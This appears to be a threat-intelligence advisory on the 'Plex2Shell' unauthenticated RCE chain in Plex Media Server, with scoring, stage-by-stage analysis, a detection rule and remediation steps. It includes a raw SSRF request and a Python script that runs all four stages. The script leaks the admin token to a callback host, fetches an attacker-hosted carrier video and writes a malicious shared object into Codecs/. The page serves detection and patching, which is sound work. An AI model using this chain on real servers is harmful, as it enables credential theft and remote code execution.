Skip to content

CVE-2026-96656: Plex Media Server 'Plex2Shell' 4-CVE CISA KEV Unauthenticated RCE Chain (/player/timeline SSRF, searchOne Token Theft & Codecs File Write)

Density:
C-Level Executive Briefing CVE-2026-96656 EXTREME SCORE 96/100

Critical four-part unauthenticated Remote Code Execution (RCE) exploit chain ('Plex2Shell') in Plex Media Server versions through 1.43.2 (patched in 1.43.3.10861), added to the CISA Known Exploited Vulnerabilities (KEV) Catalog on October 20, 2026. By chaining an unauthenticated SSRF in /player/timeline via the protocol parameter (CVE-2026-96652), encoded URI parameter injection in the internal searchOne endpoint to steal the server owner's administrative X-Plex-Token (CVE-2026-96654), authenticated SSRF in /video/:/transcode/universal/start (CVE-2026-96655), and arbitrary file write via x264 TranscoderH264Options=dump-yuv into the Plex Codecs/ directory (CVE-2026-96656), unauthenticated remote attackers achieve full code execution over TCP port 32400. Actively exploited in the wild to deploy XMRig ('mylovelyminer') and residential SOCKS5/reverse-proxy botnet nodes ('myawesomeproxy').

HYBRID

HERMES THREAT SCORE & MULTI-PRIMITIVE KEV CHAIN EVALUATION

Target: Plex Media Server HTTP API (/player/timeline, searchOne, /video/:/transcode/universal) & Transcoder x264 Codecs Loader (co-hosted with MCP Media Agents & Edge GPU Nodes)
Confidence: 99%
96 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Standalone NVD/CVSS v3.1 scores severely underestimate the operational criticality of this cluster because they evaluate each bug in isolation: CVE-2026-96652 at 5.3 (MEDIUM), CVE-2026-96654 at 6.9 (MEDIUM), CVE-2026-96655 at 5.3 (MEDIUM), and CVE-2026-96656 at 8.6 (HIGH, assuming High Privileges Required PR:H). In practice, the 'Plex2Shell' chain bridges all four primitives automatically, transforming three medium-severity bugs and one admin-gated file write into a zero-click, unauthenticated Remote Code Execution (RCE) exploit over exposed TCP port 32400. Added to the CISA KEV Catalog on October 20, 2026 amid mass internet-wide exploitation by botnet operators deploying XMRig ('mylovelyminer') and proxy relays ('myawesomeproxy'), the Hermes Threat Score elevates this chain to 96 (EXTREME) with a Hermes Agentic Security Score (HASS) of 89 (CRITICAL) due to widespread co-location of Plex Media Server on edge NAS and GPU workstations hosting local LLM runtimes (Ollama, vLLM), autonomous media agents (MoviePilot), and privileged Docker sockets.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-96656: Plex Media ServerVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTPlex Media Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Plex Media Server documented in Hermes dossier.”

Supporting Verified Evidence:

On October 20, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added four interlocking vulnerabilities in Plex Media Server (versions <= 1.43.2, remediated in 1.43.3.10861) to the Known Exploited Vulnerabilities (KEV) Catalog with a federal remediation deadline of November 10, 2026:

  1. CVE-2026-96652 (CWE-918, /player/timeline Protocol-Smuggled SSRF โ€” CVSS 5.3): The /player/timeline endpoint fails to validate the protocol query parameter when constructing outbound player state callbacks to address and port, allowing an attacker with any low-privilege or guest X-Plex-Token (or unauthenticated local pivot) to coerce the Plex server into issuing arbitrary HTTP requests to internal loopback endpoints (127.0.0.1:32400).
  2. CVE-2026-96654 (CWE-116, Encoded URI Scheme Injection in searchOne โ€” CVSS 6.9): Improper neutralization of encoded URI schemes and query delimiters inside the internal searchOne metadata plugin handler allows an attacker pivoting through loopback SSRF to inject arbitrary internal request parameters and exfiltrate the primary server ownerโ€™s administrative X-Plex-Token.
  3. CVE-2026-96655 (CWE-918, Authenticated Transcoder /video/:/transcode/universal SSRF โ€” CVSS 5.3): Armed with the harvested administrator X-Plex-Token, the attacker invokes /video/:/transcode/universal/start with an attacker-controlled external URL in the path parameter, forcing the Plex Universal Transcoder to pull a crafted carrier H.264 video stream over HTTP.
  4. CVE-2026-96656 (CWE-73, External Control of File Name or Path via x264 dump-yuv into Codecs/ โ€” CVSS 8.6): By injecting custom encoder flags (TranscoderH264Options=dump-yuv) and controlling the output path, the attacker forces the underlying x264 encoder to write decoded YUV frame dataโ€”constructed as a bit-exact copy of a malicious ELF shared object (.so) or Windows .dllโ€”directly into the Plex Codecs/ directory (.../Plex Media Server/Codecs/), where Plex automatically loads (dlopen() / LoadLibrary()) shared libraries to achieve unauthenticated Remote Code Execution (RCE).

Technical Architecture & 4-Stage โ€œPlex2Shellโ€ Exploit Dissection

Section titled โ€œTechnical Architecture & 4-Stage โ€œPlex2Shellโ€ Exploit Dissectionโ€

Stage 1 โ€” CVE-2026-96652: Smuggling Loopback Requests via /player/timeline protocol Parameter

Section titled โ€œStage 1 โ€” CVE-2026-96652: Smuggling Loopback Requests via /player/timeline protocol Parameterโ€

Plex Media Server exposes /player/timeline (and /player/timeline/poll) to synchronize playback progress with remote controller clients. When a client supplies address, port, and protocol parameters alongside a commandID, Plex constructs an outbound HTTP request to "{protocol}://{address}:{port}/player/timeline".

In versions <= 1.43.2, the server failed to restrict protocol to http or https and did not sanitize URL path/query characters injected into protocol:

GET /player/timeline?address=127.0.0.1&port=32400&commandID=1&protocol=http://127.0.0.1:32400/system/agents/searchOne?mediaType=1%26id=1%23 HTTP/1.1
Host: target-plex.example.com:32400
X-Plex-Token: <low_priv_or_claimed_token>

Because connections originating from 127.0.0.1 are implicitly trusted by Plexโ€™s local loopback authentication policy (allowedNetworks / localhost bypass), CVE-2026-96652 gives an external attacker an unauthenticated loopback SSRF primitive targeting 127.0.0.1:32400.

Stage 2 โ€” CVE-2026-96654: Administrative X-Plex-Token Exfiltration via searchOne URI Injection

Section titled โ€œStage 2 โ€” CVE-2026-96654: Administrative X-Plex-Token Exfiltration via searchOne URI Injectionโ€

While loopback requests bypass basic authentication on many internal routes, administrative actions require the server ownerโ€™s primary X-Plex-Token. Under CVE-2026-96654 (CWE-116), the legacy Python/C++ metadata agent bridge endpoint (searchOne) accepts URI parameters and forwards them to internal plex:// or http://127.0.0.1:32400/ plugin handlers while automatically appending the server ownerโ€™s privileged X-Plex-Token header/query parameter.

Because searchOne fails to neutralize double-encoded or URI-scheme-embedded delimiters, an attacker can redirect the internal plugin fetch to an attacker-controlled listener (or reflect the token into an accessible metadata field), capturing the full administrative X-Plex-Token.

Stage 3 & Stage 4 โ€” CVE-2026-96655 & CVE-2026-96656: Universal Transcoder SSRF to Bit-Exact x264 dump-yuv Shared Object Write in Codecs/

Section titled โ€œStage 3 & Stage 4 โ€” CVE-2026-96655 & CVE-2026-96656: Universal Transcoder SSRF to Bit-Exact x264 dump-yuv Shared Object Write in Codecs/โ€

With the administrative X-Plex-Token in hand, the attacker chains CVE-2026-96655 and CVE-2026-96656 to turn Plexโ€™s media transcoding pipeline into an arbitrary binary file writer and native code loader:

  1. Authenticated Transcoder SSRF (CVE-2026-96655): The /video/:/transcode/universal/start (or /decision) endpoint accepts a path parameter specifying the media item to transcode. Instead of restricting path to local library metadata keys (/library/metadata/...), Plex <= 1.43.2 allows arbitrary remote HTTP URLs (http://attacker.example/carrier_payload.mkv), instructing the Plex Transcoder process to fetch and decode an attacker-supplied video file.
  2. Bit-Exact Binary Reconstruction via TranscoderH264Options=dump-yuv (CVE-2026-96656): Plex allows administrative callers (or modified preference settings via /:/prefs) to pass custom x264 encoder options via TranscoderH264Options (or TranscoderH264OptionsOverride). The x264 encoder supports a diagnostic option, dump-yuv=<filename>, which writes raw uncompressed YUV420p decoded frames directly to <filename> on disk without any container headers.
  3. Polyglot Frame-to-ELF Encoding: By pre-encoding a compiled Linux ELF shared library (.so, e.g., libhevc_decoder.so or libh264_decoder.so with an __attribute__((constructor)) payload) as lossless raw YUV frame bytes inside a single-frame carrier video and setting dump-yuv to point inside .../Plex Media Server/Codecs/<codec-build-id>/, the transcoder writes a bit-exact ELF shared object directly into the Codecs/ directory. When a subsequent transcode request triggers dynamic codec loading (dlopen()), the attackerโ€™s constructor executes immediately as the plex OS user.
flowchart TD
Attacker["Unauthenticated Remote Attacker<br/>(TCP Port 32400)"]
subgraph Stage12["Stage 1 & 2: Loopback SSRF & Admin Token Theft"]
CVE652["CVE-2026-96652 (CWE-918)<br/>/player/timeline Unvalidated 'protocol' Parameter<br/>Loopback SSRF to 127.0.0.1:32400"]
CVE654["CVE-2026-96654 (CWE-116)<br/>searchOne Encoded URI Scheme Injection<br/>Leaks Owner Admin X-Plex-Token"]
end
subgraph Stage34["Stage 3 & 4: Transcoder SSRF & Bit-Exact Codecs/ Write"]
CVE655["CVE-2026-96655 (CWE-918)<br/>/video/:/transcode/universal/start<br/>Fetches Attacker Lossless YUV Carrier Video via 'path'"]
CVE656["CVE-2026-96656 (CWE-73)<br/>x264 TranscoderH264Options=dump-yuv<br/>Writes Bit-Exact ELF .so / PE .dll into Codecs/"]
end
subgraph Execution["Post-Exploitation & Edge Lateral Movement"]
Dlopen["Automatic dlopen() / LoadLibrary()<br/>Native RCE as 'plex' User"]
Botnet["In-the-Wild Payloads:<br/>mylovelyminer (XMRig) & myawesomeproxy<br/>+ Co-Hosted Docker / Ollama / MCP Pivot"]
end
Attacker -- "1. Crafted protocol= URL" --> CVE652
CVE652 -- "2. Loopback Trust Bypass" --> CVE654
CVE654 -- "3. Admin X-Plex-Token" --> CVE655
CVE655 -- "4. Carrier Video Stream" --> CVE656
CVE656 --> Dlopen
Dlopen --> Botnet
style CVE652 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE654 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE655 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE656 fill:#ff1a1a,stroke:#800000,color:#ffffff

The following educational Python snippet illustrates the 4-stage HTTP sequence used by Plex2Shell (CVE-2026-96652 $\rightarrow$ CVE-2026-96654 $\rightarrow$ CVE-2026-96655 $\rightarrow$ CVE-2026-96656) so defenders can validate WAF rules and SIEM detections:

#!/usr/bin/env python3
"""
Forensic Verification Flow: Plex2Shell 4-CVE Chain (CVE-2026-96652..96656)
For defensive detection engineering and patch verification only (Requires >= 1.43.3.10861 to block).
"""
import urllib.parse
import requests
TARGET_PLEX = "http://plex-media.internal:32400"
CALLBACK_HOST = "http://198.51.100.42:8080"
# Stage 1 & 2 (CVE-2026-96652 + CVE-2026-96654):
# Abuse /player/timeline 'protocol' SSRF to reach internal searchOne with encoded URI delimiters
inner_uri = f"http://127.0.0.1:32400/system/agents/searchOne?mediaType=1&id=1&url={urllib.parse.quote(CALLBACK_HOST + '/leak')}#"
stage1_params = {
"address": "127.0.0.1",
"port": "32400",
"commandID": "1",
"protocol": inner_uri,
}
print("[*] Probing Stage 1/2 (/player/timeline protocol SSRF -> searchOne)...")
r1 = requests.get(f"{TARGET_PLEX}/player/timeline", params=stage1_params, timeout=5)
print(" Status:", r1.status_code)
# Stage 3 & 4 (CVE-2026-96655 + CVE-2026-96656):
# Using stolen Admin X-Plex-Token, set x264 dump-yuv pointing to Codecs/ and trigger universal transcode SSRF
ADMIN_TOKEN = "STOLEN_ADMIN_X_PLEX_TOKEN"
codec_target = "../Codecs/EasyAudioEncoder-1978-linux-x86_64/libmalicious.so"
prefs_resp = requests.put(
f"{TARGET_PLEX}/:/prefs",
params={
"TranscoderH264Options": f"dump-yuv={codec_target}",
"X-Plex-Token": ADMIN_TOKEN,
},
timeout=5,
)
transcode_resp = requests.get(
f"{TARGET_PLEX}/video/:/transcode/universal/start.m3u8",
params={
"path": f"{CALLBACK_HOST}/carrier_elf_yuv.mkv",
"mediaIndex": "0",
"partIndex": "0",
"protocol": "hls",
"X-Plex-Token": ADMIN_TOKEN,
},
timeout=5,
)
print("[*] Stage 3/4 Transcode SSRF + dump-yuv status:", transcode_resp.status_code)

In-the-wild Plex2Shell intrusions leave distinct forensic artifacts in Plex Media Server.log, Preferences.xml (where TranscoderH264Options may remain set to dump-yuv=...), and the Codecs/ directory (mylovelyminer, myawesomeproxy, or rogue .so/.dll files). Also compare this media-server compromise chain with CVE-2026-108804 (MoviePilot Autonomous AI Media Agent ExecuteCommandTool RCE), as MoviePilot and Plex Media Server are routinely deployed side-by-side on the same NAS/Docker host.

title: Plex Media Server Plex2Shell 4-CVE RCE Chain Exploitation (CVE-2026-96652 / CVE-2026-96654 / CVE-2026-96655 / CVE-2026-96656)
id: 96656a10-2026-4c8e-9b12-plex2shell01
status: experimental
description: Detects exploitation of the CISA KEV Plex2Shell chain in Plex Media Server (<= 1.43.2), including /player/timeline protocol SSRF, searchOne URI injection, /video/:/transcode/universal external path SSRF, and x264 dump-yuv Codecs file writes.
references:
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-96656
- https://nvd.nist.gov/vuln/detail/CVE-2026-96656
author: Hermes Threat Intelligence
date: 2026/10/21
logsource:
category: webserver
detection:
selection_timeline_ssrf:
cs-uri-stem|contains: '/player/timeline'
cs-uri-query|contains:
- 'protocol=http'
- 'protocol=https'
- 'searchOne'
- '127.0.0.1'
selection_dump_yuv:
cs-uri-query|contains:
- 'TranscoderH264Options'
- 'dump-yuv'
- 'Codecs'
selection_transcode_ssrf:
cs-uri-stem|contains: '/video/:/transcode/universal'
cs-uri-query|re: 'path=https?(%3A|:)'
condition: selection_timeline_ssrf or selection_dump_yuv or selection_transcode_ssrf
falsepositives:
- None expected for dump-yuv or protocol=http:// injection on /player/timeline
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.persistence
- attack.t1190
- attack.t1574.001
- cve.2026-96652
- cve.2026-96654
- cve.2026-96655
- cve.2026-96656

  1. Immediately Upgrade Plex Media Server to >= 1.43.3.10861 (CISA KEV Mandate): Update all Linux, Windows, macOS, Docker (plexinc/pms-docker), and NAS (Synology, QNAP, TrueNAS, Unraid) installations of Plex Media Server to version 1.43.3.10861 or later. Version 1.43.3.10861 enforces strict http/https enum validation on /player/timeline (CVE-2026-96652), sanitizes URI parameters in searchOne (CVE-2026-96654), restricts transcode path sources (CVE-2026-96655), and blocks dangerous x264 file-writing options such as dump-yuv (CVE-2026-96656).
  2. Purge Codecs/, Inspect Preferences.xml, and Rotate X-Plex-Token Credentials: If a server running <= 1.43.2 was reachable from the internet on TCP port 32400, assume potential compromise and:
    • Inspect Preferences.xml and remove any TranscoderH264Options attribute.
    • Delete the entire Plex Media Server/Codecs/ directory (Plex will cleanly re-download verified official codecs upon restart) and mount transient working directories with noexec where feasible.
    • Rotate the server ownerโ€™s Plex account password (selecting โ€œSign out connected devices after password changeโ€) to invalidate any PlexOnlineToken / X-Plex-Token exfiltrated via CVE-2026-96654.
  3. Disable Direct WAN Port Forwarding of TCP 32400 & Isolate Co-Hosted AI/Docker Stacks: Place Plex behind an authenticated reverse proxy or zero-trust overlay network (Tailscale / WireGuard), block external requests to /player/timeline, /system/agents/*, and /:/prefs, and ensure the plex user or container has no access to /var/run/docker.sock or co-hosted local LLM / MCP endpoints.